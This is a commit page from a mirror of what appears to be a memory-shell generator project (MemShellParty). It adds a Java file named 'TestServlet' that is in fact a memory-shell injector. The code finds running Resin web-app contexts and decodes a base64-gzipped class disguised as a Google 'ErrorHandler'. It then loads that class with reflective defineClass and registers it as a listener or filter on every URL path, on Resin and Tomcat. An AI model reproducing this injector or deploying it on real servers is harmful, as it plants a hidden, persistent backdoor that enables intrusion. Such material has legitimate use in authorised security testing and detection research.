mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
refactor: change vul modules structure
This commit is contained in:
ReaJason
@@ -0,0 +1,288 @@
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import javax.servlet.ServletException;
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import javax.servlet.http.HttpServlet;
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import javax.servlet.http.HttpServletRequest;
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import javax.servlet.http.HttpServletResponse;
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import java.io.ByteArrayInputStream;
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import java.io.ByteArrayOutputStream;
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import java.io.IOException;
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import java.lang.reflect.Constructor;
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import java.lang.reflect.Field;
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import java.lang.reflect.InvocationTargetException;
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import java.lang.reflect.Method;
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import java.util.*;
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import java.util.zip.GZIPInputStream;
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/**
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* @author ReaJason
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* @since 2024/12/7
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*/
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public class TestServlet extends HttpServlet {
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static Object getFV(Object obj, String fieldName) throws Exception {
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try {
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Field field = getF(obj, fieldName);
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field.setAccessible(true);
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return field.get(obj);
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} catch (Exception var3) {
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return null;
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}
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}
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static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
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for (Class<?> clazz = obj.getClass(); clazz != null; clazz = clazz.getSuperclass()) {
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try {
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Field field = clazz.getDeclaredField(fieldName);
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field.setAccessible(true);
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return field;
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} catch (NoSuchFieldException var3) {
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}
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}
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throw new NoSuchFieldException(fieldName);
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}
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public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
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Field field = getF(obj, fieldName);
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field.set(obj, value);
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}
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static byte[] decodeBase64(String base64Str) throws Exception {
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try {
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Class<?> decoderClass = Class.forName("sun.misc.BASE64Decoder");
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return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
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} catch (Exception var4) {
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Class<?> decoderClass = Class.forName("java.util.Base64");
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Object decoder = decoderClass.getMethod("getDecoder").invoke((Object) null);
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return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
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}
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}
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public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
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ByteArrayOutputStream out = new ByteArrayOutputStream();
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ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
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GZIPInputStream gzipInputStream = new GZIPInputStream(in);
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byte[] buffer = new byte[256];
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int n;
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while ((n = gzipInputStream.read(buffer)) >= 0) {
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out.write(buffer, 0, n);
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}
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return out.toByteArray();
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}
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public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
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return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
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}
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public static synchronized Object invokeMethod(final Object obj, final String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
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Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
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Method method = null;
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Class<?> tempClass = clazz;
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while (method == null && tempClass != null) {
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try {
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if (paramClazz == null) {
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// Get all declared methods of the class
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Method[] methods = tempClass.getDeclaredMethods();
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for (Method value : methods) {
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if (value.getName().equals(methodName) && value.getParameterTypes().length == 0) {
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method = value;
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break;
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}
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}
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} else {
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method = tempClass.getDeclaredMethod(methodName, paramClazz);
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}
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} catch (NoSuchMethodException e) {
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tempClass = tempClass.getSuperclass();
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}
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}
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if (method == null) {
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throw new NoSuchMethodException(methodName);
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}
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method.setAccessible(true);
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if (obj instanceof Class) {
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try {
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return method.invoke(null, param);
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} catch (IllegalAccessException e) {
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throw new RuntimeException(e.getMessage());
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}
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} else {
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try {
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return method.invoke(obj, param);
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} catch (IllegalAccessException e) {
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throw new RuntimeException(e.getMessage());
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}
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}
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}
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public String getUrlPattern() {
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return "/*";
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}
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public String getClassName() {
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return "com.google.gso.sLUOL.ErrorHandler";
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}
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public String getBase64String() {
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return "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";
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}
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public void addListener(Object context, Object listener) throws Exception {
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if (!this.isInjected(context, this.getClassName())) {
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String filedName = "applicationEventListenersObjects";
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Object applicationEventListenersObjects = getFV(context, filedName);
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if (applicationEventListenersObjects == null) {
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filedName = "applicationEventListenersInstances";
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applicationEventListenersObjects = getFV(context, filedName);
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}
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if (applicationEventListenersObjects != null) {
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Object[] appListeners = (Object[]) applicationEventListenersObjects;
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if (appListeners != null) {
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List appListenerList = new ArrayList(Arrays.asList(appListeners));
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appListenerList.add(listener);
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setFieldValue(context, filedName, appListenerList.toArray());
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}
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} else if (getFV(context, "applicationEventListenersList") != null) {
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List<Object> appListeners = (List) getFV(context, "applicationEventListenersList");
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if (appListeners != null) {
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appListeners.add(listener);
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}
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}
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}
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}
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public boolean isInjected(Object context, String evilClassName) throws Exception {
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Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners");
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List listeners = Arrays.asList(objects);
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for (Object o : new ArrayList(listeners)) {
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if (o.getClass().getName().contains(evilClassName)) {
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return true;
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}
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}
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return false;
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}
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public List<Object> getContext() {
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List<Object> contexts = new ArrayList();
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Set<Object> visited = new HashSet();
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try {
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Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
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for (Thread thread : threads) {
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if (thread.getClass().getName().contains("Resin")) {
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Class<?> servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
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Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
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Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
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if (webApp != null && visited.add(webApp)) {
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contexts.add(webApp);
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}
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}
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}
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} catch (Exception e) {
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// Handle exception
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}
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return contexts;
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}
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private Object getFilter(Object context) {
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Object filter = null;
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ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
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if (classLoader == null) {
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classLoader = context.getClass().getClassLoader();
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}
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try {
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filter = classLoader.loadClass(this.getClassName());
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} catch (Exception var9) {
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try {
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byte[] clazzByte = gzipDecompress(decodeBase64(this.getBase64String()));
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Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
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defineClass.setAccessible(true);
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Class<?> clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
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filter = clazz.newInstance();
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} catch (Throwable e1) {
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e1.printStackTrace();
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}
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}
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return filter;
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}
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public void addFilter(Object context, Object filter) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException {
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String filterClassName = this.getClassName();
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try {
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if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterClassName}) != null) {
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return;
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}
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} catch (Exception var10) {
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}
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Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
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Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
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try {
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invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
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invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName});
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invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
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invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
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invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"});
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invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{this.getUrlPattern()});
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Constructor<?>[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
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try {
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invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
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} catch (Exception var9) {
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invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
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}
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constructors[0].setAccessible(true);
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try {
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Object filterConfig = constructors[0].newInstance(context, filterDef);
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Map filterConfigs = (Map) this.getFieldValue(context, "filterConfigs");
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filterConfigs.put(filterClassName, filterConfig);
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} catch (Exception e) {
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if (!(e.getCause() instanceof ClassNotFoundException)) {
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throw e;
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}
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}
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} catch (Exception var12) {
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}
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}
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@Override
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protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
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}
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@Override
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protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
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}
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@SuppressWarnings("all")
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public Object getFieldValue(Object obj, String name) throws Exception {
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Field field = null;
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Class<?> clazz = obj.getClass();
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while (clazz != Object.class) {
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try {
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field = clazz.getDeclaredField(name);
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break;
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} catch (NoSuchFieldException var5) {
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clazz = clazz.getSuperclass();
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}
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}
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if (field == null) {
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throw new NoSuchFieldException(name);
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} else {
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field.setAccessible(true);
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return field.get(obj);
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}
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}
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}
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